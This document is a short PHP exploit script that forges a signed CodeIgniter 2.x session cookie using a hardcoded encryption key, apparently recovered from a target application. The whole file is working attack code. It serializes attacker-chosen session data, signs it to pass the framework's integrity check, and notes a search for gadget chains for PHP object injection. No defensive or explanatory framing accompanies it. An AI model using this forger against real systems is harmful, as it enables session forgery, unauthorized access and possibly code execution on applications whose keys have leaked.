<?php
// CodeIgniter 2.x session cookie forge
// Since sess_encrypt_cookie=FALSE and sess_use_database=FALSE
// The cookie is: urlencode(serialize($data)) + sha1($serialized . $encryption_key)

$encryption_key = 'jsadjas^&**&@kl;lijiash';

// Create a session array that will be deserialized
// Looking for gadget chains in the codebase

// Standard session data
$session_data = array(
    'session_id' => md5(time()),
    'ip_address' => '169.58.120.214',
    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'last_activity' => time(),
    'user_data' => ''
);

// Serialize the session
$serialized = serialize($session_data);

// Generate HMAC signature
$signature = sha1($serialized . $encryption_key);

// Combine data + signature
$cookie = $serialized . $signature;

// URL encode
$encoded = urlencode($cookie);

echo "Cookie Value:\n";
echo $encoded . "\n\n";
echo "Serialized data:\n";
echo $serialized . "\n";
?>